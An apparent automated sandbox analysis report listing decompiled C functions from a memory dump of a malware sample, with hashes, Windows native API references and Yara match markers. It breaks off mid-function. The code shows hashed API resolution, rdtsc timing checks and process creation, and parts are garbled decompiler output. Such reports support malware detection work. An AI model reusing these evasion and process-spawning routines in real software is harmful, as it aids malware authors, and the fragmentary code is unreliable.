Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 8eb6fbd051b3d6e3bdc80b0b17e8b32b36fddcadecc1da7b7e8bd51c52942836
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 9DF0BDB2200208ABCB08CF89DC95EEB77ADAF8C754F158248FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004187A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004187A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E004191C0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004187af
0x004187b7
0x004187d9
0x004187dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00419394,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004187D9

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 25d322934daf616d54f73205e359e97dd0d0108bb283116572f6f6fe365e7cad
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: F5F015B2200208ABDB14DF89CC81EEB77ADAF88754F118549FE0897241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004186EA, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004186EA(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				0x5531();
				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409743
				E004191C0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004186ea
0x004186f3
0x004186f6
0x004186ff
0x00418707
0x00418715
0x00418719

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418715

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 0030c59edf199de5a688257786faf8919ce86ebd3188c5a64f82d73752b806c9
Instruction ID: c5615387c9f4ea42440dd47b8f8f45d7fb6ffcc05a40430a280f8495556fa058
Opcode Fuzzy Hash: 0030c59edf199de5a688257786faf8919ce86ebd3188c5a64f82d73752b806c9
Instruction Fuzzy Hash: A0E08C71200200ABE614EBA48C45E9B7768EF84710F048499BA186B282C530EA00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 004186F0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004186F0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409743
				E004191C0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004186f3
0x004186f6
0x004186ff
0x00418707
0x00418715
0x00418719

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418715

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: 0b0e29a7bb3afeb76cf53b9d16d6e0c91c86644eaa2e8498d895191de08f0161
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 7DD01776200214BBEB10EB99CC89EE77BACEF48760F154499BA189B242C530FA4086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00FA98F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA98FA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f02d920ff50c04db1f37446bebeb3e4caec0fc685baa0d5f656e1d5bd07d8450
Instruction ID: 426e36e5fbb0e43f0a632a51a3af7da2408e3c1fe60817c302c9b1424a5187db
Opcode Fuzzy Hash: f02d920ff50c04db1f37446bebeb3e4caec0fc685baa0d5f656e1d5bd07d8450
Instruction Fuzzy Hash: AA9002A160100503D241715A4404656140AD7D0381F91C032A1015555FDA659992F572

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA986A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e25e49cb6c234fdbeb53394ae4f2ca9538f9c4de770badd627ac707c2c01cdf8
Instruction ID: e26a26bae8e172ef0a252402bbb95e026c78dea63755fa9513253796d8346c6a
Opcode Fuzzy Hash: e25e49cb6c234fdbeb53394ae4f2ca9538f9c4de770badd627ac707c2c01cdf8
Instruction Fuzzy Hash: FF9002B120100413D251615A45047471409D7D0381F91C432A0415558EE6969952F562

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA984A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f1f46ee3e9ed631f786bfdaf39a4b74813904007b42b5c0090bfd7960424ba5a
Instruction ID: da8ec5d9f9cdd8f210a9e0103cb85cd53de6587e919b377528a2d0d757df8c14
Opcode Fuzzy Hash: f1f46ee3e9ed631f786bfdaf39a4b74813904007b42b5c0090bfd7960424ba5a
Instruction Fuzzy Hash: FD9002A1242041535685B15A44045475406E7E0381791C032A1405950DD566A856FA62

Uniqueness

Uniqueness Score: -1.00%

Function 00FA95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA95DA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 524a72811144a29639ae272b6c2e1838b3697801f23a2a36f76a40980b2b5204
Instruction ID: 30d073d0a840fc2a3a4473051870a88fdbe930451417e4878cf831f66de3d7a3
Opcode Fuzzy Hash: 524a72811144a29639ae272b6c2e1838b3697801f23a2a36f76a40980b2b5204
Instruction Fuzzy Hash: 099002E1202000034245715A4414656540AD7E0341B51C031E1005590ED5659891B566

Uniqueness

Uniqueness Score: -1.00%

Function 00FA99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA99AA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 42fe57a51567978ffc68cff1a53a7ff7be3c1b638fdb67ca397c7c1d783e2964
Instruction ID: 6a846dedf33795cbd7906b7d0c7c2401a34e536d18a117d5dcac0945012d1afb
Opcode Fuzzy Hash: 42fe57a51567978ffc68cff1a53a7ff7be3c1b638fdb67ca397c7c1d783e2964
Instruction Fuzzy Hash: 6F9002E134100443D240615A4414B461405D7E1341F51C035E1055554ED659DC52B567

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA954A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ce757ef1681e096e2a7eb64a6bc55c5d42c34255ff0b392dba253087edda01c0
Instruction ID: ea424e04f4874a36546c6a943346ea5c80403aefe3ae39ce34d3bb027de8a64e
Opcode Fuzzy Hash: ce757ef1681e096e2a7eb64a6bc55c5d42c34255ff0b392dba253087edda01c0
Instruction Fuzzy Hash: 559002A5211000030245A55A07045471446D7D5391351C031F1006550DE6619861B562

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA991A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3a8a8cf8279e1b4ca85e0efefca21185aa70393e2187038d8dbd890cd44ef16f
Instruction ID: 2965e310286bce9693858d3c4ece93892987ee8812375e3aeaefa8e0122fd4d5
Opcode Fuzzy Hash: 3a8a8cf8279e1b4ca85e0efefca21185aa70393e2187038d8dbd890cd44ef16f
Instruction Fuzzy Hash: D89002F120100403D280715A44047861405D7D0341F51C031A5055554FD6999DD5BAA6

Uniqueness

Uniqueness Score: -1.00%

Function 00FA96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA96EA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d39269155e8fa020e0a29f25966fc4a4ade4aa25fda5f89481ee56bbb708834
Instruction ID: 95fa8d9360c0d27fecc429164b1d4a160985eac40c804fabb3f119144c60a409
Opcode Fuzzy Hash: 4d39269155e8fa020e0a29f25966fc4a4ade4aa25fda5f89481ee56bbb708834
Instruction Fuzzy Hash: D49002B120108803D250615A840478A1405D7D0341F55C431A4415658ED6D59891B562

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA966A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4f00f8c8ebbc4cca3a63faba766b89dfb944e0e2c98779be19a779dfa293988e
Instruction ID: 035ea05bb232554da0ec89d3fbd3f3973c4c4a8c054fb44ce37f87588437643c
Opcode Fuzzy Hash: 4f00f8c8ebbc4cca3a63faba766b89dfb944e0e2c98779be19a779dfa293988e
Instruction Fuzzy Hash: 189002B120100803D2C0715A440468A1405D7D1341F91C035A0016654EDA559A59BBE2

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA9A5A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 10ebdc0de711ecebab235846400892213ea404d525187b7087e8ab65d44d684b
Instruction ID: c0c9afaeec4d9b1511af9f6e1393ebe04bc4afe2884c442ee50aaec268f999dc
Opcode Fuzzy Hash: 10ebdc0de711ecebab235846400892213ea404d525187b7087e8ab65d44d684b
Instruction Fuzzy Hash: 749002A121180043D340656A4C14B471405D7D0343F51C135A0145554DD9559861B962

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA9A2A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4702fe4162496f54209cc73f359243593561a66e164b37036d5861bf33e33021
Instruction ID: 8c43724d56b5af09af66d057cc2daaeca8701a926a02aa8dc0c22803adc1ce7f
Opcode Fuzzy Hash: 4702fe4162496f54209cc73f359243593561a66e164b37036d5861bf33e33021
Instruction Fuzzy Hash: 369002A1601000434280716A88449465405FBE1351751C131A0989550ED5999865BAA6

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA9A0A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2cbd6c4834e741efe20fe1091834ec4de85aca8288b3ae759baa95bafe8a0cd4
Instruction ID: 2d603567b06162a9ce1eb95e59a6a4a9ae033c2aa5960128122684f7e97259fe
Opcode Fuzzy Hash: 2cbd6c4834e741efe20fe1091834ec4de85aca8288b3ae759baa95bafe8a0cd4
Instruction Fuzzy Hash: 6A9002B120140403D240615A481474B1405D7D0342F51C031A1155555ED6659851B9B2

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA9FEA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6571211e6767ddcd47102ca7e2bff772a4f07bece66daf6ec89f04178ce8e1fa
Instruction ID: a1f6ca9fa79bc9267f9d24e52174f88e6e7348177e701a74c694bb1ab9f405c2
Opcode Fuzzy Hash: 6571211e6767ddcd47102ca7e2bff772a4f07bece66daf6ec89f04178ce8e1fa
Instruction Fuzzy Hash: 939002B131114403D250615A84047461405D7D1341F51C431A0815558ED6D59891B563

Uniqueness

Uniqueness Score: -1.00%

Function 00FA97A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA97AA

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d266ebb0cda1acd581ff7b6fff7d03906e6f7b4fb10748f2a2e42c40057ee4fb
Instruction ID: a38ffe975a2106a5b3474270eb8f87a567c58deff2d9777d00bb579c5b5fd9d0
Opcode Fuzzy Hash: d266ebb0cda1acd581ff7b6fff7d03906e6f7b4fb10748f2a2e42c40057ee4fb
Instruction Fuzzy Hash: 349002A130100003D280715A54186465405E7E1341F51D031E0405554DE9559856B663

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA978A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f4f5ae9bfe1875ecc98ab9c57e7a4e5c4b2be9db8bc2ab7512f54c3766a239c9
Instruction ID: c9c4729439bf705b699cb428144e0ae07c05fb2e7cf367c8905cf58a36bf9ac0
Opcode Fuzzy Hash: f4f5ae9bfe1875ecc98ab9c57e7a4e5c4b2be9db8bc2ab7512f54c3766a239c9
Instruction Fuzzy Hash: 7A9002A921300003D2C0715A540864A1405D7D1342F91D435A0006558DD9559869B762

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA971A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c38e4fe0fec00f379109f64754f5bceee6d48a4d98642a9a857ee064fbfea2c4
Instruction ID: 30674e4b2466b2a5a27e80d48f00c6f650b31a06b1ce447bc6e9e115733ebb40
Opcode Fuzzy Hash: c38e4fe0fec00f379109f64754f5bceee6d48a4d98642a9a857ee064fbfea2c4
Instruction Fuzzy Hash: 9F9002B120100403D240659A54086861405D7E0341F51D031A5015555FD6A59891B572

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004088B0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* __ebx;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E10(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407020( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041A0D0( &_v284, 0x104);
						_t41 =  &_v804;
						E0041A740( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_push( &_v284);
							_push(E00413D70(_t52, _t50));
							_t31 = E00413DD0(_t39, _t41);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe1b5
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407050( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070D0(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088bb
0x004088c3
0x004088c5
0x004088ca
0x004088cf
0x004088e2
0x004088e7
0x004088f0
0x004088fc
0x00408901
0x0040890f
0x00408914
0x00408917
0x00408920
0x00408926
0x00408931
0x00408932
0x00408937
0x0040893c
0x00000000
0x00000000
0x0040893e
0x00408942
0x00000000
0x00000000
0x00408944
0x00000000
0x00408942
0x00408946
0x00408949
0x0040894f
0x00408951
0x0040895c
0x00408961
0x00408964
0x00408971
0x0040897c
0x0040897e
0x00408984
0x00408988
0x0040898b
0x0040898b
0x00408992
0x00408995
0x0040899a
0x004089a7
0x004088d6
0x004088d6
0x004088d6

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f53d8dba07d61e040243f166c963dc1666f7821a055405fa8867365c30c6fdc
Instruction ID: e2609307cbfc4db7f685131015f06662253bb902c1c7eebfadea6487095c087a
Opcode Fuzzy Hash: 6f53d8dba07d61e040243f166c963dc1666f7821a055405fa8867365c30c6fdc
Instruction Fuzzy Hash: E82128B3C402085BDB11E6649D42BFF73AC9B50304F44017FE989A2182FA38AB4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 00418940, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
processCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418940(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, char _a48, intOrPtr _a52) {
				void* _t22;
				void* _t33;
				intOrPtr* _t34;

				_t16 = _a4;
				_t2 = _t16 + 0xa14; // 0x57de852
				_t3 = _t16 + 0xc80; // 0x408909
				_t34 = _t3;
				E004191C0(_t33, _a4, _t34,  *_t2, 0, 0x37);
				_t5 =  &_a48; // 0x407c45
				_t22 =  *((intOrPtr*)( *_t34))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44,  *_t5, _a52); // executed
				return _t22;
			}

0x00418943
0x00418946
0x00418952
0x00418952
0x0041895a
0x00418962
0x00418994
0x00418998

APIs

CreateProcessInternalW.KERNELBASE(00407C1D,00407C45,004079DD,00000010,?,00000044,?,?,?,00000044,E|@D,00000010,004079DD,00407C45,00407C1D,00407C89), ref: 00418994

Strings

E|@D, xrefs: 00418962, 0041896F

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateInternalProcess
String ID: E|@D
API String ID: 2186235152-1370303659
Opcode ID: a8d03338a5b8e7428a3411fecad22ab56c063a2c8b97b146bea9412fcdabe5ed
Instruction ID: ef73407d4302ad113cbd8c7bf54d1e3551c0b1b9378041d777b9cadf2e8fe569
Opcode Fuzzy Hash: a8d03338a5b8e7428a3411fecad22ab56c063a2c8b97b146bea9412fcdabe5ed
Instruction Fuzzy Hash: FC01AFB2210108BBCB54DF89DC80EEB77ADAF8C754F158258FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041893D, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
processCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041893D(void* __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, char _a48, intOrPtr _a52) {
				void* _t24;
				void* _t35;
				void* _t36;
				intOrPtr* _t37;
				void* _t39;

				_t18 = _a4;
				_t2 = _t18 + 0xa14; // 0x57de852
				_t3 = _t18 + 0xc80; // 0x408909
				_t37 = _t3;
				E004191C0(_t35, _a4, _t37,  *_t2, 0, 0x37);
				_t5 =  &_a48; // 0x407c45
				_t24 =  *((intOrPtr*)( *_t37))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44,  *_t5, _a52, _t36, _t39); // executed
				return _t24;
			}

0x00418943
0x00418946
0x00418952
0x00418952
0x0041895a
0x00418962
0x00418994
0x00418998

APIs

CreateProcessInternalW.KERNELBASE(00407C1D,00407C45,004079DD,00000010,?,00000044,?,?,?,00000044,E|@D,00000010,004079DD,00407C45,00407C1D,00407C89), ref: 00418994

Strings

E|@D, xrefs: 00418962, 0041896F

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateInternalProcess
String ID: E|@D
API String ID: 2186235152-1370303659
Opcode ID: 41c99b71a49ad4fb2281a62442470304861e9e7922e764fe1246d4c471dcc383
Instruction ID: baef4d0571f2c38d895766dda2c36033b9936c1a935588e28553d4a4fca58594
Opcode Fuzzy Hash: 41c99b71a49ad4fb2281a62442470304861e9e7922e764fe1246d4c471dcc383
Instruction Fuzzy Hash: 1201AFB2204108BFDB58CF89DC80EEB37AAAF8C354F158258FA0DD7251C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004188C2, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E004188C2(signed int __ecx, void* __esi, intOrPtr _a8, int _a12, long _a16, void* _a20) {
				char _t21;
				void* _t29;

				asm("outsd");
				_pop(es);
				_t1 = __esi - 0x48;
				 *_t1 =  *(__esi - 0x48) << __ecx;
				asm("rol ebx, 1");
				0x5edb714b();
				if( *_t1 >= 0) {
					_pop(ds);
					asm("in eax, dx");
					 *(__esi + 0x326ab855) =  *(__esi + 0x326ab855) << __ecx;
					asm("cmc");
					_t15 =  *0xFFFFFFFF8B55F59E;
					_push(__esi);
					E004191C0(_t29,  *0xFFFFFFFF8B55F59E,  *0xFFFFFFFF8B55F59E + 0xc7c,  *((intOrPtr*)(_t15 + 0xa14)), 0, 0x36);
					ExitProcess(_a12);
				}
				_push(_t34);
				_t18 = _a8;
				_push(__esi);
				_t5 = _t18 + 0xc74; // 0xc74
				E004191C0(_t29, _a8, _t5,  *((intOrPtr*)(_a8 + 0x10)), 0, 0x35);
				_t21 = RtlFreeHeap(_a12, _a16, _a20); // executed
				return _t21;
			}

0x004188c2
0x004188c3
0x004188c4
0x004188c4
0x004188c7
0x004188c9
0x004188ce
0x00418903
0x00418904
0x00418905
0x0041890b
0x00418913
0x0041891c
0x0041892a
0x00418938
0x00418938
0x004188d0
0x004188d3
0x004188d9
0x004188df
0x004188e7
0x004188fd
0x00418901

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004188FD
ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418938

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeHeapProcess
String ID:
API String ID: 1180424539-0
Opcode ID: 8cc75db45dd93af87b06a51fae6551f7ea7202329c75877e4935d855c2653ef4
Instruction ID: 51982d9f5d3c017c58f7b64cf37e3e200f649d4b35fbb667c240f2db401c3839
Opcode Fuzzy Hash: 8cc75db45dd93af87b06a51fae6551f7ea7202329c75877e4935d855c2653ef4
Instruction Fuzzy Hash: F901B171200304BBDB24DF58CC89ED777ACEF49750F004959F95997242C630EA04CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 004072F4, Relevance: 1.7, APIs: 1, Instructions: 160
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004072F4(void* __eax, intOrPtr* __ecx, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v132;
				intOrPtr _v136;
				char _v656;
				intOrPtr _v668;
				char _v680;
				intOrPtr _v684;
				char _v688;
				void* __ebx;
				void* _t66;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t78;
				intOrPtr _t80;
				void* _t90;
				void* _t91;
				intOrPtr _t93;
				intOrPtr* _t94;
				intOrPtr _t122;
				void* _t127;
				void* _t129;
				void* _t133;
				void* _t135;
				void* _t142;

				asm("jecxz 0x5f");
				asm("loope 0xffffffb4");
				_t129 = _t127;
				 *__ecx = 0xc;
				asm("invalid");
				_push(_t129);
				_push(_t90);
				_v4 = 0;
				_v684 = 0;
				E0041A120( &_v680, 0, 0x2a4);
				_t122 = _a20;
				_t118 = _a8;
				E00407270(_t90, _t142, _a8,  *((intOrPtr*)(_t122 + 0x300))); // executed
				_t135 = _t133 - 0x2ac + 0x14;
				_t66 = E004199B0( *((intOrPtr*)(_t122 + 0x300)));
				_t12 =  *((intOrPtr*)(_t122 + 0x2d4)) + 0x29000; // 0x29000
				_t91 = _t66 + _t12;
				_a20 = 0;
				while(1) {
					E0040D3B0(_t118, 0xfe363c80); // executed
					_t69 = E00418760(_t118,  *((intOrPtr*)(_t122 + 0x2f4)), _t91,  &_v688, 0x2a8, 0); // executed
					_t135 = _t135 + 0x20;
					 *((intOrPtr*)(_t122 + 0x2dc)) = _t69;
					if(_t69 < 0) {
						break;
					}
					if(_v656 == 0 || _v668 == 0 || _v136 == 0 || _v132 == 0) {
						_t72 = _a16 + 1;
						_a16 = _t72;
						if(_t72 < 2) {
							continue;
						} else {
							_t93 = _v8;
							goto L12;
						}
					} else {
						_t93 = 1;
						E0041A0A0(_a12,  &_v688, 0x2a8);
						_t135 = _t135 + 0xc;
						L12:
						E004186F0(_t118,  *((intOrPtr*)(_t122 + 0x2f4))); // executed
						if(_t93 == 0) {
							break;
						} else {
							 *((intOrPtr*)(_a12 + 0x14)) = _v668;
							_t32 = _t122 + 0x2e8; // 0x2e8
							 *_t32 = _v136;
							_t34 = _t122 + 0x314; // 0x314
							_t94 = _t34;
							 *_t94 = 0x18;
